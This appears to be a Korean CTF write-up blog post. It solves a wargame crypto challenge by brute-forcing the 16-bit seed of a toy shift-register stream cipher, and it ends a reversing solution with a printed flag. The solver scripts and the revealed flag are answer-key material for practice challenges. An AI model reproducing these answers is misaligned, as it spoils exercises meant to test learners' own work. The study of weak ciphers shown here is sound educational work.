        input_str = bytes(input_bytes).decode('utf-8')
    except UnicodeDecodeError:
        input_str = bytes(input_bytes).decode('latin-1')
    return input_str

output_hex = "220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e"

flag = reverse_xor(output_hex)
print("복원된 입력 문자열:")
print(flag)
DH{Duffs_Device_but_use_memcpy_instead}

오 성공

보충할 개념

  • 루프 언롤링
  • Duff's Device

TODO List 0.0.1

넌 다음에 보자

![[Pasted image 20240929112311.png]]


STREAMer-Prototype

cipher.py

class STREAM:  
    def __init__(self, seed, size):  
        self.state = self.num2bits(seed, size)  
  
    def num2bits(self, num, size):  
        assert num < (1 << size)  
  
        return bin(num)[2:].zfill(size)  
      
    def bits2num(self, bits):  
        return int('0b' + bits, 2)  
      
    def shift(self):  
        new_bit = self.state[-1]  
        self.state = new_bit + self.state[:-1]  
  
        return new_bit  
      
    def getNbits(self, num):  
        sequence = ""  
        for _ in range(num):  
            sequence += self.shift()  
          
        return sequence  
  
    def encrypt(self, plaintext):  
        ciphertext = b""  
        for p in plaintext:  
            stream = self.bits2num(self.getNbits(8))  
            c = p ^ stream  
            ciphertext += bytes([c])  
  
        return ciphertext  
  
    def decrypt(self, ciphertext):  
        plaintext = b""  
        for c in ciphertext:  
            stream = self.bits2num(self.getNbits(8))  
            p = c ^ stream  
            plaintext += bytes([p])  
  
        return plaintext  
  
  
if __name__ == "__main__":  
    import os  
  
    for seed in range(0x100):  
        Alice = STREAM(seed, 16)  
        Bob = STREAM(seed, 16)  
        plaintext = os.urandom(128)  
        ciphertext = Alice.encrypt(plaintext)  
        assert plaintext == Bob.decrypt(ciphertext)

output.txt

encrypted flag > 3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada

prob.py

#!/usr/bin/env python3  
from cipher import STREAM  
import random  
  
  
if __name__ == "__main__":  
    with open("flag", "rb") as f:  
        flag = f.read()  
  
    assert flag[:3] == b'DH{' and flag[-1:] == b'}'  
  
    seed = random.getrandbits(16)  
    stream = STREAM(seed, 16)  
  
    print(f"encrypted flag > {stream.encrypt(flag).hex()}")

사전 분석

STREAM 클래스의 암호화 방식을 이해하고 output.txt에 저장된 암호문을 이용해 flag를 복구해야 한다

STREAM cipher

암호화 키와 복호화 키가 동일한 대칭키 암호는 블록 단위로 암호화하는 블록 암호와 비트 단위로 암호화하는 스트림 암호로 구분될 수 있다. 스트림 암호는 블록 암호에 비해 상대적으로 사용 빈도가 낮으나, 블록 암호에 비해 경량 및 고속 동작이 용이하여 무선 환경이나 스트리밍 서비스 등과 같은 환경에서 많이 사용되고 있다.

스트림 암호는 블록 단위가 아닌 비트 단위로 암호화되기 때문에 패딩과 운영 모드에 대한 개념이 필요 없으며, 구현이 용이하고 수행 속도가 빠르다는 장점이 있다. 버퍼의 크기가 제한되고 정보가 수신되자마자 실시간으로 처리되어야 하는 통신 애플리케이션의 경우 블록 암호는 수신되는 정보가 한 블록에 가득 찰 때까지 버퍼에 저장해 두었다가 한 번에 암호화해야 하기 때문에 적절한 수단이 아니지만, 스트림 암호는 수신되는 정보를 바로 암호화할 수 있기 때문에 실시간 처리가 가능하다. 블록 암호와 구별되는 스트림 암호의 효율성으로 인해 계산능력이 한정된 경우, 즉 휴대폰이나 RFID, 센서 등에 사용될 수 있다.

스트림 암호는 길이가 n 인 키 K 를 가지며, 이 키로 긴 키스트림(Key Stream)을 생성한다. 이 키스트림은 평문 P 와 XOR 연산을 하여 암호문 C 를 만드는데 사용된다. 스트림 암호를 복호화 하기 위해서는 암호화에 사용된 것과 똑같은 키스트림으로 암호문과 XOR 하면 평문이 만들어진다. 따라서 키스트림은 일회성 암호 키로 사용된다.

키스트림 생성 함수를 간단히 표현하며 다음과 같다.(K 는 키, S 는 키스트림)

StreamCipher(K) = S

![[Pasted image 20240928125229.png]]

cipher.py

STREAM 클래스가 암호화 / 복호화에 사용되는 스트림 암호 방식을 구현

평문과 난수 스트림을 XOR 연산해 암호화를 수행 - 복호화 시에도 같은 스트림을 이용, 암호문과 XOR 연산하면 평문이 복원됨

즉, 암호화에 사용된 난수 스트림을 알아야 함

c.f. 같은 seed, size로 스트림 객체를 생성하면 같은 스트림이 생성된다

암호화 과정 정리

  1. seed 값에 따라 STREAM 객체가 만들어짐
  2. 8비트 단위로 스트림이 생성, 평문과 XOR 연산을 통해 암호문이 생성
  3. 복호화는 암호화와 동일한 방식으로 진행

prob.py

flag 파일을 읽어와서 암호화하는 스크립트
seed 값은 random.getrandbits(16)를 통해 16비트 난수로 결정됨
assert문으로 플래그가 DH{} 형식을 가짐을 보장

output.txt

암호화된 플래그가 16진수 문자열로 제공

풀이 시도

prob에서 random ... 으로 생성된 시드값이 16비트 크기이므로 2^16 가지 존재

cipher의 STREAM 클래스로 seed 값을 전부 대입해 암호문을 복호화, DH로 시작하는지 확인하면 될듯?

## sol.py

from cipher import STREAM

## encrypted_flag = bytes.fromhex("3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada")

encrypted_flag = bytearray.fromhex("3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada")

for seed in range(0x10000):
    stream = STREAM(seed, 16)
    decrypted_flag = stream.decrypt(encrypted_flag)

    if decrypted_flag.startswith(b"DH{") and decrypted_flag.endswith(b"}"):
        print("Seed: {}, Flag: {}".format(seed, decrypted_flag))
        break
profile
안드로이드는 리눅스의 꿈을 꾸는가

0개의 댓글

관련 채용 정보